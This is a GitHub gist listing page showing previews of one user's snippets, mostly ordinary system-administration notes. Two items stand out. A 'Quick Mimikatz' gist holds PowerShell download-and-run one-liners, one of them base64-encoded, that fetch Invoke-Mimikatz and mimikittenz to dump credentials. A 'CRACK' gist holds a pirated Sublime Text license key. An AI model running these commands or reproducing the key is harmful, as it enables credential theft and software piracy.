Skip to content

Instantly share code, notes, and snippets.

View cjemorton's full-sized avatar

Clement Morton cjemorton

View GitHub Profile
@cjemorton
cjemorton / gist:f77550d1760c31df6386
Created December 15, 2015 10:22 — forked from benzittlau/gist:ec60e41ca2197909b57e
Authing for shaw open using command line
curl -L -v --data "username=<username>@shaw.ca&password=<password>&acpt=on&language=en" https://wifisignon.shaw.ca/api/login
@cjemorton
cjemorton / Sublime Text 3 Build 3103 License Key - CRACK
Created August 8, 2016 03:05
Sublime Text 3 Build 3103 License Key - CRACK
I use the first
—– BEGIN LICENSE —–
Michael Barnes
Single User License
EA7E-821385
8A353C41 872A0D5C DF9B2950 AFF6F667
C458EA6D 8EA3C286 98D1D650 131A97AB
AA919AEC EF20E143 B361B1E7 4C8B7F04
# put all explicitly installed packages (minus AUR) into a file
# can be run as user
pacman -Qqe | grep -Fvx "$(pacman -Qqm)" > ./file
# reinstall from said file (deps will be pulled in automatically)
# must run as root
xargs pacman -S --needed --noconfirm < ./file
# Source: https://bbs.archlinux.org/viewtopic.php?id=94308

Keybase proof

I hereby claim:

  • I am clem16 on github.
  • I am cmorton (https://keybase.io/cmorton) on keybase.
  • I have a public key whose fingerprint is E37F A26C A51A 749B 30FE 0A3A 3AF4 1EDD 8984 4008

To claim this, I am signing this object:

@cjemorton
cjemorton / Versioning-C++
Created June 14, 2017 05:14
Git-Based-Versioning-C++
Source: https://stackoverflow.com/questions/1704907/how-can-i-get-my-c-code-to-automatically-print-out-its-git-version-hash
# Shamelessly Copied and stored here in a Gist for easy access.
If you are using a make-based build, you can put this in the Makefile:
`GIT_VERSION := $(shell git describe --abbrev=4 --dirty --always --tags)`
(See http://www.kernel.org/pub/software/scm/git/docs/git-describe.html for what the switches do)
then add this to your CFLAGS:
`-DVERSION=\"$(GIT_VERSION)\"`
@cjemorton
cjemorton / gist:d806f96cadf43a2a8d82aa60cb9742d7
Created November 13, 2017 21:31 — forked from digitaljhelms/gist:4287848
Git/GitHub branching standards & conventions

Branching

Quick Legend

Description, Instructions, Notes
Instance Branch
# XCode Command Line Tools
>xcode-select --install
# Install Homebrew
>ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
>echo PATH=/usr/local/bin:/usr/local/sbin:$PATH >> ~/.bash_profile
>source ~/.bash_profile
>brew tap homebrew/versions
@cjemorton
cjemorton / Quick-Mimikatz
Created November 20, 2017 20:23 — forked from gfoss/Quick-Mimikatz
Quick Mimikatz
*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*
#mimikatz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m
#encoded-mimikatz
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==
#mimikittenz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master
@cjemorton
cjemorton / gist:b3ed487a918af8b56a318ab5371a79f4
Created December 15, 2017 22:16 — forked from czj/gist:1263872
Script to encode with HandbrakeCLI (x264) 720p, high image quality, low file size
#!/usr/bin/env ruby
# encoding: utf-8
# x264 presets guide : https://forum.handbrake.fr/viewtopic.php?f=6&t=19426
X264 = "b-adapt=2:rc-lookahead=50:me=umh:bframes=5:ref=6:direct=auto:trellis=2:subq=10:psy-rd=1.0,0.10:analyse=all"
FORMAT = "--optimize --format mp4"
QUALITY = "--ab 64 --mixdown mono --quality 23 -e x264 -x '#{X264}'"
SIZE = "--width 1280 --height 720"
ARGV.each do |param|
@cjemorton
cjemorton / midentify.sh
Created December 16, 2017 17:39
The hard to find 'midentify' script. An ancient copy looks like:
#!/bin/sh
# (Source: https://askubuntu.com/questions/45927/how-to-find-out-what-codec-is-being-used-in-a-video)
# This is a wrapper around the -identify functionality.
# It is supposed to escape the output properly, so it can be easily
# used in shellscripts by 'eval'ing the output of this script.
#
# Written by Tobias Diedrich <ranma+mplayer@tdiedrich.de>
# Licensed under GNU GPL.
if [ -z "$1" ]; then